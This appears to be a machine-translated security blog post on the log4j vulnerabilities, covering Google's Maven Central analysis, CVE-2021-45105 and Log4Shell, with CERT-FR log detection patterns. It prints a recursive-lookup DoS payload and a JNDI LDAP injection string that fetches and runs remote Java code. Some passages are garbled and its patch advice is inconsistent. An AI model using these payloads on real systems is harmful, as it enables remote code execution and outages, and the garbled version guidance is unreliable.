The development comes around the same time that Google’s analysis reveals that more than 35,000 Java packages contain log4j vulnerabilities.
“More than 35,000 Java packages, representing more than 8% of the Maven Central repository (the largest Java package repository), have been affected by recently disclosed log4j vulnerabilities,” explain Open’s James Wetter and Nicky Ringland. Source Insights Team. Google in yesterday’s blog post.
Table of Contents [TOC]
Almost all versions of log4j version 2 are affected.
2.0-beta9 <= Apache log4j <= 2.14.1
According to Google, the vast majority of vulnerable Java packages in Maven Central borrow log4j “indirectly,” meaning that log4j is a dependency on a dependency used by the package, a concept also known as transitive dependencies.
Of the 35,863 packages identified by Google, only about 7,000 have directly borrowed log4j, indicating that not all developers may have adequate exposure to their software:
“Lack of user visibility into their own dependencies and transitive dependencies made patching difficult; it also made it difficult to determine the full blast radius of this vulnerability,” Google explains.
Looking at the history of publicly disclosed critical vulnerabilities affecting Maven packages, and the fact that fewer than 48% of those packages have had a fix, Google researchers expect “a long wait, probably years” before they are released. log4j flaws are completely removed from all java packages.
As BleepingComputer reported, threat actors are targeting vulnerable servers with log4j exploits to drive malware, and the Conti ransomware gang specifically looks at vulnerable VMWare vCenter servers.
Therefore, organizations should update to the latest versions of log4j and continue to monitor Apache alerts for updates.
Is everything ready for the weekend? Not so fast. Yesterday BleepingComputer summarized all known CVE log4j and logbacks so far.
Since log4j’s zero-day saga began last week, security experts have repeatedly recommended version 2.16 as the safest version to use.
Today, things change with version 2.17.0, which fixes a seemingly minor but “high” severity DoS (denial of service) vulnerability affecting log4j 2.16.
And, yes, this DoS error comes with another identifier: CVE-2021-45105.
The cPanel web hosting server control panel software recently released a patch to correct Critical Log4j vulnerability in cPanel plugin. Recently they released a patch to correct a critical flaw in the log4j Java library discovered in part of the software used for email. The vulnerability itself is named Log4Shell.
The suspicion of a DoS bug affecting log4j 2.16.0 arose in the Apache JIRA project about three days ago, shortly after 2.15.0 was discovered to be vulnerable to a minor DoS vulnerability (CVE-2021-45046).
However, as BleepingComputer reported yesterday, Apache increased the severity of CVE-2021-45046 from a low value (3.7) to a critical value (9.0), after new omissions allowed the possibility of data exfiltration through this. exploit.
“If you try to substitute a string for any reason in the following string, an infinite recursion will be triggered and the application will crash,” indicates the JIRA issue, with a PoC payload:
$ {$ {:: – $ {:: – $$ {:: – j}}}}
A few hours ago, including vx-underground security researchers AND Fantastic Hacker tweeted about a possible denial of service flaw that also affects log4j version 2.16:
And it turns out that after discussing the topic for the last three days, Apache assigned a new CVE and released a new version.
Plotted as CVE-2021-45105 and rated “High” (7.5) on the CVSS scale, the DoS defect exists as log4j 2.16 “does not always protect against infinite recursion in search evaluation.”
Although JNDI searches were completely disabled in version 2.16, self-referenced searches were still a possibility under certain circumstances.
“Apache Log4j2 versions 2.0-alpha1 to 2.16.0 did not protect against uncontrolled recursion of self-referential searches,” state the release notes viewed by BleepingComputer.
“When the registry configuration uses a non-default template layout with a contextual search (for example, ` `$ {dollar} $ {dollar} {ctx: loginId}` ` ), attackers who have control over the input data Thread Context Map (MDC) can create malicious input containing a recursive lookup, resulting in a StackOverflowError that will shut down the process. ”
To correct the vulnerability, version 2.17.0 of log4j (for Java 8) was released today and only allows “search strings in configuration” to be recursively expanded. In any other use, only the top-level search would be resolved and not nested searches.
The release is expected to hit the largest Java package repository, Maven Central later today.
Although Apache has so far officially released details on the upcoming 2.17.0 version, the GitHub commits seen by BleepingComputer indicate that a 2.12.3 version may also be on the way for those on the 2.12.x branch versions.
“The Apache Log4j vulnerability is the largest and most critical vulnerability of the last decade,” said Amit Yoran, CEO of Tenable, a network security company, and the founding director of the Emergency Preparedness Team. US IT
The US and German governments, for example, have publicly warned about the risks of the vulnerability discovered: “The threat situation is extremely critical. Immediate protection measures are required,” the Interior Ministry spokesman said. German, Steve Alter.
It will take time to fully resolve the failure
Although Apache, the maker of Log4j, released a partial fix for the vulnerability on Friday (12.10.2021), affected companies and cyber defenders will need time to locate the vulnerable software and properly implement the patches. According to security experts, Log4j is maintained by a few volunteers.
In practice, the bug allows an outsider to enter an activation code in the registration process. That code then instructs the server hosting the software to execute a command that gives the hacker control.
The problem was first disclosed publicly by a security researcher working for Chinese technology company Alibaba Group Holding Ltd, Apache noted in its security advisory.
So far no major cyber incidents have been publicly documented as a result of the vulnerability, but researchers are seeing an alarming rise in hacker groups trying to exploit the flaw for espionage.
Here is how to possibly fix log4j vulnerability of versions starting with the log4j exploit:
Log4j transpires a lot everywhere, especially since the vulnerability is currently in use. To make it short, all you have to do is pass the following characters in the logs analyzed by log4j.
${jndi:ldap://URL.com/FICHIER_JAVA}
and this will have the effect of downloading and executing the java file which is at the end of the url “URL.com/FICHIER_JAVA”. It is as simple as it is dramatic.
As you know, to patch this Log4Shell vulnerability (CVE-2021-44228), it is urgent to update log4j to a version> = 2.15.0.
The vast majority of traffic observed by Microsoft remains mass scans by attackers and security researchers. Microsoft has observed rapid adoption of this vulnerability in existing botnets like Mirai, existing campaigns previously targeting vulnerable Elasticsearch systems to deploy cryptocurrency miners, and activity deploying the Tsunami backdoor on Linux systems. Many of these campaigns run a concurrent scan and operational activities for Windows and Linux systems, using Base64 commands included in the request.JDNI: ldap: //to run bash commands on Linux and PowerShell on Windows.
Microsoft also continued to observe malicious activity leaking data through the vulnerability without dropping a payload. This attack scenario could be particularly impactful against network devices with SSL termination, where the actor could disclose secrets and data.
CERT-FR recommends that you perform a thorough analysis of network logs. The following reasons can be used to identify an attempt to exploit this vulnerability when used in URLs or certain HTTP headers as user-agent:
1 $ {jndi:
2 $% 7Bjndi: (takes into account simple obfuscation) However, attackers can use obfuscation means to bypass the previous detection patterns. The following reasons allow certain obfuscation methods to be taken into account but can cause false positives:
1 $ {$ {
2 $ {:: -
3 % 24% 7B% 3A% 3A-
4 $ {env:
5 $ {date:
6 $ {lower:
7 $ {upper:
8 hostName}
9 } $ {
1 $ {(generates a lot of false positives, but very exhaustive)
0 In order to determine if an exploit attempt was successful, and in the event that you have logs containing DNS queries, it is recommended that you correlate them with the results of the above reasons. Indeed, if the execution of a query of type$ {jndi: xxx: // name.domain.com}worked, then DNS resolution will be performed to resolve the external domain name name.domain.com. The issuance of a DNS query can also be tracked in the application server logs. So, it may be useful to look for the com.sun.jndi.dns.DnsContext @ pattern in these logs. An external domain resolution does not mean that a successful code execution, but rather confirms that the application is vulnerable. It will therefore be necessary to continue analyzing the logs to detect a compromise.
It is strongly recommended to use version 2.15.0 of log4j as soon as possible. However, in case of difficulty migrating to this version, the workarounds below can be applied temporarily:
These Log4j fixes are not that easy to implement. Consult WP Hacked Help team for more information.
cPanel Plugin Log4j Vulnerability – How To Mitigate & Protect
WordPress Passwordless Authentication – Login Form & Plugins
WordPress Google Dorking: Find Vulnerabilities & Sensitive Data
24 Best Free Email Anti-Spam Filter Tools 2021 (Gmail, Outlook)
How to Fix “The site ahead contains harmful programs” Chrome
Best WordPress Vulnerability Scanners & Security Tools Online 2022